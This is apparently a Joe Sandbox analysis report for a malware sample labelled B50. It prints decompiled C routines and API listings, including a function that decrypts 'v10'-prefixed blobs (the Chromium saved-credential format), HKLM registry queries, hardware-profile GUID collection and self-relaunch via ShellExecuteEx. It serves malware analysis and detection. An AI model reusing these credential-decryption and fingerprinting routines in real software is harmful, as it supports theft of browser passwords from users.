Opcode Fuzzy Hash: 9f40ca25f5a3ec3b26c5a317c37b390bac11bb664fe97661c3bbb8a15347b8b4
Instruction Fuzzy Hash: 49611BB4A0020ADFEB14CF54D585BAEB7B1BB04315F208259E9156B3D1D378EE81CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 00577480, Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 104memorystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 005774D2
LocalAlloc.KERNEL32(00000040,?), ref: 00577521
lstrcat.KERNEL32(?,00000000), ref: 00577587

Strings

v10, xrefs: 0057749E
@, xrefs: 005774DA

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: AllocLocallstrcatmemset
String ID: @$v10
API String ID: 4123878530-24753345
Opcode ID: d133a81001bef52ef4905997addc9da99a5f8824d4606433a0d426c6760a33b5
Instruction ID: 8f077f1490fc8d4ea5ace79c33a85683bc5d42e36d1b4b3821d9dfb1753db2fb
Opcode Fuzzy Hash: d133a81001bef52ef4905997addc9da99a5f8824d4606433a0d426c6760a33b5
Instruction Fuzzy Hash: 47412871A0420CABDB14CFD8E854BEDBBB5BF48340F148169F609AB280D774AA45DB54

Uniqueness

Uniqueness Score: -1.00%

Function 00407230, Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 104
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 24%

			E00407230(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				void _v76;
				long _v80;
				void* _v84;
				int _v88;
				char _v5092;
				void* _t58;
				void* _t94;

				E004139B0(0x13e0, __ecx);
				if(_a8 < 3) {
					L10:
					return E00407190(_a4, _a8);
				}
				asm("repe cmpsb");
				if(0 != 0) {
					goto L10;
				}
				if(((0 | _a12 != 0x00000000) & (0 | _a16 != 0x00000000)) == 0) {
					return 0x4191a0;
				}
				memset( &_v76, 0, 0x40);
				_v76 = 0x40;
				_v72 = 1;
				_v68 = _a4 + 3;
				_v64 = 0xc;
				_v52 = _v68 + _a8 - 0x13;
				_v48 = 0x10;
				_v80 = _a8 - 3 - _v64 - _v48;
				_t58 = LocalAlloc(0x40, _v80);
				_v84 = _t58;
				if(_v84 == 0) {
					return _t58;
				}
				_v88 = 0;
				_v8 =  *0x41aa60(_a16, _v68 + _v64, _v80,  &_v76, 0, 0, _v84, _v80,  &_v88, 0);
				if(_v8 < 0) {
					return 0x4191a0;
				}
				E0040B720( &_v5092, 0x1388);
				 *0x41aa24( &_v5092, _v84);
				 *((char*)(_t94 + _v88 - 0x13e0)) = 0;
				return  &_v5092;
			}

0x00407238
0x00407243
0x00407364
0x00000000
0x00407371
0x00407258
0x0040725a
0x00000000
0x00000000
0x00407274
0x00000000
0x0040735b
0x00407282
0x0040728a
0x00407291
0x0040729e
0x004072a1
0x004072b2
0x004072b5
0x004072c8
0x004072d1
0x004072d7
0x004072de
0x00000000
0x00407359
0x004072e0
0x00407312
0x00407319
0x00000000
0x00407352
0x00407327
0x00407337
0x00407340
0x00000000

APIs

memset.MSVCRT ref: 00407282
LocalAlloc.KERNEL32(00000040,?), ref: 004072D1
lstrcat.KERNEL32(?,00000000), ref: 00407337

Strings

v10, xrefs: 0040724E
@, xrefs: 0040728A

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: AllocLocallstrcatmemset
String ID: @$v10
API String ID: 4123878530-24753345
Opcode ID: 1d3fa7b3dbb26fb9b049f7610d81cb1348bb2620b3692f3626651eae948cc07e
Instruction ID: 61f64e7557948a46b50732eb2c11968d7e6d1a4f1abee3a4cf4d88c7128a29d2
Opcode Fuzzy Hash: 1d3fa7b3dbb26fb9b049f7610d81cb1348bb2620b3692f3626651eae948cc07e
Instruction Fuzzy Hash: D24150B1E04208EBEB14CFD4D884BDEB7B4FF48344F048169F905AB284D778AA45DB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0057B810, Relevance: 7.6, APIs: 5, Instructions: 50stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,00000000,00000000,00000003,00000000,00000000,?), ref: 0057B81E
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000), ref: 0057B82D
new[].LIBCMTD ref: 0057B84D
lstrlen.KERNEL32(?,?,?), ref: 0057B86A
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000), ref: 0057B879

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen$new[]
String ID:
API String ID: 4156461339-0
Opcode ID: 56f75f690b4901e2c4a4253c133e8f5cdaa2a479b23792dede6667cee38b773e
Instruction ID: 84936bdbbf537a02c2aba2f767d50f0b113fe37a05aada66248108d967c2a374
Opcode Fuzzy Hash: 56f75f690b4901e2c4a4253c133e8f5cdaa2a479b23792dede6667cee38b773e
Instruction Fuzzy Hash: 8B0144B5A01108BFDB04DFA8DC4AF9E7BB8EF4C300F108058F509DB290D671AA518B55

Uniqueness

Uniqueness Score: -1.00%

Function 0040B5C0, Relevance: 7.6, APIs: 5, Instructions: 50
stringCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E0040B5C0(void* __eflags, char* _a4) {
				int _v8;
				int _v12;
				int _v16;
				void* _t50;

				_t50 = __eflags;
				_v12 = MultiByteToWideChar(0, 0, _a4,  *0x41a908(0), _a4, 0);
				_v16 = E0040B590( ~(0 | _t50 > 0x00000000) | (_v12 + 0x00000001) * 0x00000002,  ~(0 | _t50 > 0x00000000) | (_v12 + 0x00000001) * 0x00000002);
				_v8 = _v16;
				MultiByteToWideChar(0, 0, _a4,  *0x41a908(_v12), _a4, _v8);
				 *((short*)(_v8 + _v12 * 2)) = 0;
				return _v8;
			}

0x0040b5c0
0x0040b5e3
0x0040b605
0x0040b60b
0x0040b629
0x0040b637
0x0040b641

APIs

lstrlen.KERNEL32(00000080,00000000,00000000,00000002,00000080,00000000), ref: 0040B5CE
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000), ref: 0040B5DD
new[].LIBCMTD ref: 0040B5FD
lstrlen.KERNEL32(?,?,?), ref: 0040B61A
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000), ref: 0040B629

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen$new[]
String ID:
API String ID: 4156461339-0
Opcode ID: bcc2d0ee6c9e6d66abe1afca29a4e1eb62fb6bff9411518d967b05a7183445a3
Instruction ID: 4e01539bb3d2c282a73af516c558e114f3eec2120aea2764bae626352bcff954
Opcode Fuzzy Hash: bcc2d0ee6c9e6d66abe1afca29a4e1eb62fb6bff9411518d967b05a7183445a3
Instruction Fuzzy Hash: 000104B5A01108BFDB44DFA8DD46F9E7BB8EF4C304F108158F509DB290D671AA518B55

Uniqueness

Uniqueness Score: -1.00%

Function 0057B490, Relevance: 7.5, APIs: 5, Instructions: 38registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0057B4A4
RtlAllocateHeap.NTDLL(00000000), ref: 0057B4AB
RegOpenKeyExA.ADVAPI32(80000002,0041A610,00000000,00020119,00575CA8), ref: 0057B4CB
RegQueryValueExA.ADVAPI32(00575CA8,0041A1F4,00000000,00000000,?,000000FF), ref: 0057B4EC
RegCloseKey.ADVAPI32(00575CA8), ref: 0057B4F6

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: fe3fb2fc6423d3235b7c17287a7d26e133f0254a975ab95cd6796d579850b6b3
Instruction ID: ec09ccc2f6131ce2a7688631d885bb1d991601c9b80f82b389e50eac112d2265
Opcode Fuzzy Hash: fe3fb2fc6423d3235b7c17287a7d26e133f0254a975ab95cd6796d579850b6b3
Instruction Fuzzy Hash: 23013CB5A41208BBEB00DBE0ED49FEEB7B8EB48700F008568FA05A7291D6745A508B55

Uniqueness

Uniqueness Score: -1.00%

Function 0040B240, Relevance: 7.5, APIs: 5, Instructions: 38
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040B240() {
				void* _v8;
				int _v12;
				void* _v16;
				char* _t18;
				char* _t19;

				_v12 = 0xff;
				_v16 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_t18 =  *0x41a610; // 0x767108
				if(RegOpenKeyExA(0x80000002, _t18, 0, 0x20119,  &_v8) == 0) {
					_t19 =  *0x41a1f4; // 0x769298
					RegQueryValueExA(_v8, _t19, 0, 0, _v16,  &_v12);
				}
				RegCloseKey(_v8);
				return _v16;
			}

0x0040b246
0x0040b261
0x0040b26f
0x0040b283
0x0040b291
0x0040b29c
0x0040b29c
0x0040b2a6
0x0040b2b2

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B254
RtlAllocateHeap.NTDLL(00000000), ref: 0040B25B
RegOpenKeyExA.ADVAPI32(80000002,00767108,00000000,00020119,?), ref: 0040B27B
RegQueryValueExA.ADVAPI32(?,00769298,00000000,00000000,?,000000FF), ref: 0040B29C
RegCloseKey.ADVAPI32(?), ref: 0040B2A6

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: fe3fb2fc6423d3235b7c17287a7d26e133f0254a975ab95cd6796d579850b6b3
Instruction ID: 923f0571c0864a17576b372675103fc2b24e7fdb5a8175b3b8f490f686ce64a9
Opcode Fuzzy Hash: fe3fb2fc6423d3235b7c17287a7d26e133f0254a975ab95cd6796d579850b6b3
Instruction Fuzzy Hash: 70013CB5A41208BBDB00DBE0DD49FEEB7B8EB48700F0085A8FA05A7291D6745A508B59

Uniqueness

Uniqueness Score: -1.00%

Function 0040B090, Relevance: 7.5, APIs: 5, Instructions: 38
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040B090() {
				void* _v8;
				int _v12;
				void* _v16;
				char* _t18;
				char* _t19;

				_v12 = 0xff;
				_v16 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_t18 =  *0x41a3f4; // 0x76a4e8
				if(RegOpenKeyExA(0x80000002, _t18, 0, 0x20119,  &_v8) == 0) {
					_t19 =  *0x41a4dc; // 0x769130
					RegQueryValueExA(_v8, _t19, 0, 0, _v16,  &_v12);
				}
				RegCloseKey(_v8);
				return _v16;
			}

0x0040b096
0x0040b0b1
0x0040b0bf
0x0040b0d3
0x0040b0e1
0x0040b0ec
0x0040b0ec
0x0040b0f6
0x0040b102

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B0A4
RtlAllocateHeap.NTDLL(00000000), ref: 0040B0AB
RegOpenKeyExA.ADVAPI32(80000002,0076A4E8,00000000,00020119,?), ref: 0040B0CB
RegQueryValueExA.ADVAPI32(?,00769130,00000000,00000000,?,000000FF), ref: 0040B0EC
RegCloseKey.ADVAPI32(?), ref: 0040B0F6

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: df4039e8785e81f7b3363609146fe50ac8c96b68d8374592efb58b1d304fb9ce
Instruction ID: f8a54f85ee1b8cfc6e3047c75a8daca849fb19f3d1c37cdae7566096d66fd71d
Opcode Fuzzy Hash: df4039e8785e81f7b3363609146fe50ac8c96b68d8374592efb58b1d304fb9ce
Instruction Fuzzy Hash: 4C014FB5A41208BFD700DFE0DD49FEEB7B8EB48700F00C568FA05A7291D6745A50CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0057B510, Relevance: 7.5, APIs: 5, Instructions: 30memorystringCOMMON

Download Yara Rule

APIs

GetCurrentHwProfileA.ADVAPI32(?), ref: 0057B51D
GetProcessHeap.KERNEL32(00000000,00000064), ref: 0057B52B
RtlAllocateHeap.NTDLL(00000000), ref: 0057B532
memset.NTDLL ref: 0057B549
lstrcat.KERNEL32(?,?), ref: 0057B55A

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: Heap$AllocateCurrentProcessProfilelstrcatmemset
String ID:
API String ID: 4122951905-0
Opcode ID: 715a3ee425a4e0458906170b038f95fce73c32c5e13b901f43c8444701ff9b20
Instruction ID: 5f71a241a76f3635678de24c283b03e56149f00c47b988acad51c1f2b8568a22
Opcode Fuzzy Hash: 715a3ee425a4e0458906170b038f95fce73c32c5e13b901f43c8444701ff9b20
Instruction Fuzzy Hash: 96F05E70A01209ABEB20AFA4DE09B9977B8BB08705F00C5A4F709D7190DB359950CF55

Uniqueness

Uniqueness Score: -1.00%

Function 0040B2C0, Relevance: 7.5, APIs: 5, Instructions: 30
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E0040B2C0() {
				struct tagHW_PROFILE_INFOA _v132;
				void* _v136;

				if(GetCurrentHwProfileA( &_v132) == 0) {
					return 0x4191a0;
				}
				_v136 = RtlAllocateHeap(GetProcessHeap(), 0, 0x64);
				memset(_v136, 0, 4);
				 *0x41aa24(_v136,  &(_v132.szHwProfileGuid));
				return _v136;
			}

0x0040b2d5
0x00000000
0x0040b31a
0x0040b2e8
0x0040b2f9
0x0040b30a
0x00000000

APIs

GetCurrentHwProfileA.ADVAPI32(?), ref: 0040B2CD
GetProcessHeap.KERNEL32(00000000,00000064), ref: 0040B2DB
RtlAllocateHeap.NTDLL(00000000), ref: 0040B2E2
memset.NTDLL ref: 0040B2F9
lstrcat.KERNEL32(?,?), ref: 0040B30A

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: Heap$AllocateCurrentProcessProfilelstrcatmemset
String ID:
API String ID: 4122951905-0
Opcode ID: 715a3ee425a4e0458906170b038f95fce73c32c5e13b901f43c8444701ff9b20
Instruction ID: 53f97c33c887665c50d9d4951fdbbfd19b7c782c8dc218844e441fa5d8454051
Opcode Fuzzy Hash: 715a3ee425a4e0458906170b038f95fce73c32c5e13b901f43c8444701ff9b20
Instruction Fuzzy Hash: 8FF05470A012099BDB20ABA4DD09B9977BCFB44701F008565FB45D7281DB359951CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00435D64, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 00435FA5
__aulldiv.LIBCMT ref: 00435FC7

Strings

0, xrefs: 00435D93
9, xrefs: 00435FD8

Memory Dump Source

Source File: 00000017.00000002.387781269.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_42e000_B50.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: 0$9
API String ID: 3839614884-1975997740
Opcode ID: fe32d38b610a3b3153e5a4f68af180b9b30bf65ac19318c766942227b1b7b699
Instruction ID: cf587026cc2fee9771e9673018c0ac3bd8566a78a6a17818d5568e85bd75a43e
Opcode Fuzzy Hash: fe32d38b610a3b3153e5a4f68af180b9b30bf65ac19318c766942227b1b7b699
Instruction Fuzzy Hash: D8411671D15629DFEB24CF48C889BAEB7B5FB48304F2491DAE409A7240C7389E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0043D189, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 0043D3C0
__aulldiv.LIBCMT ref: 0043D3E2

Strings

', xrefs: 0043D189
9, xrefs: 0043D3F3

Memory Dump Source

Source File: 00000017.00000002.387781269.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_42e000_B50.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: '$9
API String ID: 3839614884-1823400153
Opcode ID: 11b54eb4441ac92232ebeff5d94e6ddf2aab63c7eb60bb81892d03c19eacdfa3
Instruction ID: fb08d23c22d5863a6bb2bb458ffb9f7f1253982b85db2ab279d2984c69f68078
Opcode Fuzzy Hash: 11b54eb4441ac92232ebeff5d94e6ddf2aab63c7eb60bb81892d03c19eacdfa3
Instruction Fuzzy Hash: A34105B1E002299FDF24CF58D841BAEB7B5FF89314F1050AAD549AB241D7389E81CF4A

Uniqueness

Uniqueness Score: -1.00%

Function 004124F0, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 100
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004124F0(intOrPtr __ecx, void* _a4, char _a8) {
				int _v8;
				int _v12;
				char _v16;
				intOrPtr _v20;

				_v20 = __ecx;
				if( *((intOrPtr*)(_v20 + 0x84)) == 0) {
					if( *(_v20 + 0x7c) == 0) {
						 *((intOrPtr*)(_v20 + 0x14)) = 0x1000000;
						return 0;
					}
					_t42 =  &_v16; // 0x412876
					_t43 =  &_a8; // 0x412876
					_v12 = ReadFile( *(_v20 + 0x7c), _a4,  *_t43, _t42, 0);
					if(_v12 != 0) {
						_t51 =  &_v16; // 0x412876
						 *((intOrPtr*)(_v20 + 0x74)) =  *((intOrPtr*)(_v20 + 0x74)) +  *_t51;
						_t54 =  &_v16; // 0x412876
						 *((intOrPtr*)(_v20 + 0x78)) = E00411280( *((intOrPtr*)(_v20 + 0x78)), _a4,  *_t54);
						_t60 =  &_v16; // 0x412876
						return  *_t60;
					}
					return 0;
				}
				if( *((intOrPtr*)(_v20 + 0x8c)) <  *((intOrPtr*)(_v20 + 0x88))) {
					_v8 =  *((intOrPtr*)(_v20 + 0x88)) -  *((intOrPtr*)(_v20 + 0x8c));
					_t14 =  &_a8; // 0x412876
					if(_v8 >  *_t14) {
						_t15 =  &_a8; // 0x412876
						_v8 =  *_t15;
					}
					memcpy(_a4,  *((intOrPtr*)(_v20 + 0x84)) +  *((intOrPtr*)(_v20 + 0x8c)), _v8);
					 *((intOrPtr*)(_v20 + 0x8c)) =  *((intOrPtr*)(_v20 + 0x8c)) + _v8;
					 *((intOrPtr*)(_v20 + 0x74)) =  *((intOrPtr*)(_v20 + 0x74)) + _v8;
					 *((intOrPtr*)(_v20 + 0x78)) = E00411280( *((intOrPtr*)(_v20 + 0x78)), _a4, _v8);
					return _v8;
				}
				return 0;
			}

0x004124f6
0x00412503
0x004125b7
0x00412617
0x00000000
0x0041261e
0x004125bb
0x004125bf
0x004125d4
0x004125db
0x004125e7
0x004125ed
0x004125f0
0x0041260a
0x0041260d
0x00000000
0x0041260d
0x00000000
0x004125dd
0x0041251b
0x00412536
0x0041253c
0x0041253f
0x00412541
0x00412544
0x00412544
0x00412562
0x00412577
0x00412589
0x004125a6
0x00000000
0x004125a9
0x00000000

APIs

memcpy.NTDLL(?,?,00004000,?,00412876,?,00004000), ref: 00412562
ReadFile.KERNEL32(00000000,?,v(A,v(A,00000000,?,00412876,?,00004000), ref: 004125CE

Strings

v(A, xrefs: 004125BF, 0041253C, 00412541, 004125C2
v(A, xrefs: 004125BB, 004125E7, 004125F0, 0041260D, 004125BE, 004125F3

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: FileReadmemcpy
String ID: v(A$v(A
API String ID: 1163090680-3205644266
Opcode ID: 7275ca954cdc286a3f8e939b103dc98b6529853cd61c34709e59e34097809bab
Instruction ID: 57ccbe00efff64c7029569c4514cc3a27c1a1315352579a716a79c0d7299f08d
Opcode Fuzzy Hash: 7275ca954cdc286a3f8e939b103dc98b6529853cd61c34709e59e34097809bab
Instruction Fuzzy Hash: 5641BAB5A00119EFCB44CF94C980EEEB7B6BF48304F108569E429D7351D735E951DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0057C1F0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,00000104,?,00000104), ref: 0057C229
wsprintfA.USER32 ref: 0057C244
ShellExecuteEx.SHELL32(0000003C), ref: 0057C2A3

Strings

<, xrefs: 0057C25A

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: ExecuteFileModuleNameShellwsprintf
String ID: <
API String ID: 690967290-4251816714
Opcode ID: cc4ab47e39a32b177838befeb9b88c04774d03333c1683d2c599034bba0e339c
Instruction ID: c3b3d1274caff4a0d0bf991fa0d55e1df04aa22fec51f87cd9cf7541773e938f
Opcode Fuzzy Hash: cc4ab47e39a32b177838befeb9b88c04774d03333c1683d2c599034bba0e339c
Instruction Fuzzy Hash: F621F1B190020CABEB54EFE0EC89FDE77B8BB44701F008559F318A6191DBB55688CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0040BFA0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E0040BFA0(void* __ecx) {
				struct HINSTANCE__* _v32;
				struct HINSTANCE__* _v36;
				struct HINSTANCE__* _v40;
				CHAR* _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				struct HINSTANCE__* _v56;
				struct HINSTANCE__* _v60;
				char _v64;
				char _v332;
				char _v596;
				CHAR* _t37;
				intOrPtr _t38;
				intOrPtr _t43;

				E0040B720( &_v596, 0x104);
				E0040B720( &_v332, 0x104);
				GetModuleFileNameA(0,  &_v332, 0x104);
				_t37 =  *0x41a2c4; // 0x76ac78
				wsprintfA( &_v596, _t37,  &_v332);
				E0040B6E0(_t37,  &_v64, 0, 0x3c);
				_v64 = 0x3c;
				_v60 = 0;
				_v56 = 0;
				_t38 =  *0x41a694; // 0x750400
				_v52 = _t38;
				_t43 =  *0x41a770; // 0x767298
				_v48 = _t43;
				_v44 =  &_v596;
				_v40 = 0;
				_v36 = 0;
				_v32 = 0;
				 *0x41aa84( &_v64);
				E0040B720( &_v64, 0x3c);
				E0040B720( &_v596, 0x104);
				return E0040B720( &_v332, 0x104);
			}

0x0040bfb5
0x0040bfc6
0x0040bfd9
0x0040bfe6
0x0040bff4
0x0040c005
0x0040c00a
0x0040c011
0x0040c018
0x0040c01f
0x0040c025
0x0040c028
0x0040c02e
0x0040c037
0x0040c03a
0x0040c041
0x0040c048
0x0040c053
0x0040c05f
0x0040c070
0x0040c089

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,00000104,?,00000104), ref: 0040BFD9
wsprintfA.USER32 ref: 0040BFF4
ShellExecuteEx.SHELL32(0000003C), ref: 0040C053

Strings

<, xrefs: 0040C00A

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: ExecuteFileModuleNameShellwsprintf
String ID: <
API String ID: 690967290-4251816714
Opcode ID: 0d3fa1aa40dd4b54a01f72a3a6220bdd8af4e0c74f435e2c109b568a61a03135
Instruction ID: b6c0095fef0d0179f9846f7a94a4eacab4548b86fc187f3e8670100f81996cfc
Opcode Fuzzy Hash: 0d3fa1aa40dd4b54a01f72a3a6220bdd8af4e0c74f435e2c109b568a61a03135
Instruction Fuzzy Hash: 5D21EDB1900208ABDB14EFA0DC89FDEB778EB48705F00456AF214B61D1DBB95648CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 004120F0, Relevance: 6.1, APIs: 4, Instructions: 131
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004120F0(intOrPtr __ecx, void* _a4, long _a8) {
				long _v8;
				intOrPtr _v12;
				struct _FILETIME _v20;
				signed short _v24;
				signed short _v28;
				struct _SYSTEMTIME _v44;
				intOrPtr _v48;
				intOrPtr _t88;
				intOrPtr _t89;
				intOrPtr _t115;
				intOrPtr _t117;
				long _t130;
				intOrPtr _t131;
				intOrPtr _t132;

				_v48 = __ecx;
				 *(_v48 + 0x7c) = 0;
				 *(_v48 + 0x84) = 0;
				 *((char*)(_v48 + 0x80)) = 0;
				 *(_v48 + 0x78) = 0;
				 *(_v48 + 0x70) = 0;
				 *(_v48 + 0x90) = 0;
				 *(_v48 + 0x74) = 0;
				if(_a4 == 0 || _a4 == 0xffffffff) {
					return 0x10000;
				} else {
					_v8 = SetFilePointer( *(_v48 + 4), 0, 0, 1);
					if(_v8 == 0xffffffff) {
						 *((intOrPtr*)(_v48 + 0x4c)) = 0x80000000;
						 *(_v48 + 0x70) = 0xffffffff;
						if(_a8 != 0) {
							 *(_v48 + 0x70) = _a8;
						}
						 *((char*)(_v48 + 0x6c)) = 0;
						GetLocalTime( &_v44);
						SystemTimeToFileTime( &_v44,  &_v20);
						_t130 = _v20.dwLowDateTime;
						E00411670(_t130, _v20.dwHighDateTime,  &_v28,  &_v24);
						_t88 = E00411630(_v20.dwLowDateTime, _v20.dwHighDateTime);
						_t115 = _v48;
						 *((intOrPtr*)(_t115 + 0x50)) = _t88;
						 *(_t115 + 0x54) = _t130;
						_t131 = _v48;
						_t89 = _v48;
						 *((intOrPtr*)(_t131 + 0x58)) =  *((intOrPtr*)(_t89 + 0x50));
						 *((intOrPtr*)(_t131 + 0x5c)) =  *((intOrPtr*)(_t89 + 0x54));
						_t117 = _v48;
						_t132 = _v48;
						 *((intOrPtr*)(_t117 + 0x60)) =  *((intOrPtr*)(_t132 + 0x50));
						 *((intOrPtr*)(_t117 + 0x64)) =  *((intOrPtr*)(_t132 + 0x54));
						 *(_v48 + 0x68) = _v24 & 0x0000ffff | (_v28 & 0x0000ffff) << 0x00000010;
						 *(_v48 + 0x7c) = _a4;
						return 0;
					}
					_v12 = E00411720(_a4, _v48 + 0x4c, _v48 + 0x70, _v48 + 0x50, _v48 + 0x68);
					if(_v12 == 0) {
						SetFilePointer(_a4, 0, 0, 0);
						 *((char*)(_v48 + 0x6c)) = 1;
						 *(_v48 + 0x7c) = _a4;
						return 0;
					}
					return _v12;
				}
			}

0x004120f6
0x004120fc
0x00412106
0x00412113
0x0041211d
0x00412127
0x00412131
0x0041213e
0x00412149
0x00000000
0x0041215b
0x0041216e
0x00412175
0x004121df
0x004121e9
0x004121f4
0x004121fc
0x004121fc
0x00412202
0x0041220a
0x00412218
0x0041222a
0x0041222e
0x0041223e
0x00412246
0x00412249
0x0041224c
0x0041224f
0x00412252
0x00412258
0x0041225e
0x00412261
0x00412264
0x0041226a
0x00412270
0x00412283
0x0041228c
0x00000000
0x0041228f
0x0041219f
0x004121a6
0x004121ba
0x004121c3
0x004121cd
0x00000000
0x004121d0
0x00000000
0x004121a8

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,?,?,?,?,?,?,00412ADE,?,?), ref: 00412168
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00412ADE), ref: 004121BA

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: bd9446f4783b8dd7e6d95fa0f5fa15532bd816b395c3834064200ff55a53ee91
Instruction ID: 73fee1c067eb70601bd9df8ab8ea40709189a789a85f05da52033877ad893135
Opcode Fuzzy Hash: bd9446f4783b8dd7e6d95fa0f5fa15532bd816b395c3834064200ff55a53ee91
